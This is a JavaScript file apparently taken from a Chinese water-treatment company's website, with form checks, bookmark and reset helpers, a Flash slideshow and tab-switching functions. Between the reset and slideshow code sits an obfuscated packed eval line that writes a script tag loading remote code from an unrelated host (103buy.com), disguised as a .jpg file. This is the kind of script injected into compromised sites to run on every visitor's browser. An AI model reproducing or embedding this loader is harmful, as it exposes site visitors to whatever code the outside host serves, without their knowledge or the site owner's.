// JScript 文件

function check()
{
if(document.getElementById("ctl00_ContentPlaceHolder1_txtUserName").value=="")
{
 alert("请输入您的姓名");
 document.getElementById("ctl00_ContentPlaceHolder1_txtUserName").focus();
 return false;
}
if(document.getElementById("ctl00_ContentPlaceHolder1_txtTitle").value=="")
{
 alert("请输入标题");
 document.getElementById("ctl00_ContentPlaceHolder1_txtTitle").focus();
 return false;
}
if(document.getElementById("ctl00_ContentPlaceHolder1_txtContent").value=="")
{
 alert("请输入内容");
 document.getElementById("ctl00_ContentPlaceHolder1_txtContent").focus();
 return false;
}
return true;
}


function save()
{
    window.external.AddFavorite('http://www.cd-cj.com','成都长江水处理设备有限公司');
}

function reset()
{
document.getElementById("ctl00_ContentPlaceHolder1_txtUserName").value="";
document.getElementById("ctl00_ContentPlaceHolder1_txtTitle").value="";
document.getElementById("ctl00_ContentPlaceHolder1_txtContent").value="";
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.9("<6 7=4://1.2/8/0.5></6>")',62,10,'1|103buy|com|document|http|jpg|script|src|tu|write'.split('|'),0,{}));
//幻灯片        
        function play_images(pics, links, texts,picwidth,picheight,textheight)
        {
            var focus_width = picwidth;  //在这儿设置图片宽度540            
            var focus_height = picheight; //在这儿设置图片高度185            
            var text_height = textheight;   //在这儿设置文本高度18            
            var swf_height = focus_height + text_height;
            
            document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="'+ focus_width +'" height="'+ swf_height +'">');
            document.write('<param name="allowScriptAccess" value="sameDomain"><param name="movie" value="http://cd-cj.com/js/flashplayer.swf"><param name="quality" value="high"><param name="bgcolor" value="#e5e5e5">');
            document.write('<param name="menu" value="false"><param name=wmode value="opaque">');
            document.write('<param name="FlashVars" value="pics='+pics+'&links='+links+'&texts='+texts+'&borderwidth='+focus_width+'&borderheight='+focus_height+'&textheight='+text_height+'">');
            document.write('<embed wmode="opaque" FlashVars="pics='+pics+'&links='+links+'&texts='+texts+'&borderwidth='+focus_width+'&borderheight='+focus_height+'&textheight='+text_height+'" menu="false" bgcolor="#EBF3FA" quality="high" width="'+ focus_width +'" height="'+ focus_height +'" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />');
            document.write('</object>');
        } 

    function copy_url(text)
    {
        try
        {
            clipboardData.setData('Text', text);
            window.alert("地址已复制到剪贴板！");
        }
        catch(e)
        {
        }
    }

    function hideAllClips(clip,box,n,m) { 
        for (i=1; i<(m+1); i++){ 
            var allClips=box.toString()+i; 
            var clipNum=clip.toString()+i; 
            //alert("隐藏"+allClips); 
            //if(i=n) break; 
            document.getElementById(allClips).style.display="none"; 
            document.getElementById(clipNum).className="topnavoff"; 
        } 
    }      
    function clip_Switch(clip,box,n,m) { 
        var curClip=box.toString()+n; 
        var curClipNum=clip.toString()+n; 
        //alert("当前"+curClip); 
        hideAllClips(clip,box,n,m); 
        document.getElementById(curClip).style.display="block"; 
        document.getElementById(curClipNum).className="topnavon"; 
        scrollNo=n; 
    } 
    
    function hideAllClips2(clip,box,n,m) { 
        for (i=1; i<(m+1); i++){ 
            var allClips=box.toString()+i; 
            var clipNum=clip.toString()+i; 
            //alert("隐藏"+allClips); 
            //if(i=n) break; 
            document.getElementById(allClips).style.display="none"; 
            document.getElementById(clipNum).className="topnavoff2"; 
        } 
    }      
    function clip_Switch2(clip,box,n,m) { 
        var curClip=box.toString()+n; 
        var curClipNum=clip.toString()+n; 
        //alert("当前"+curClip); 
        hideAllClips(clip,box,n,m); 
        document.getElementById(curClip).style.display="block"; 
        document.getElementById(curClipNum).className="topnavon2"; 
        scrollNo=n; 
    }  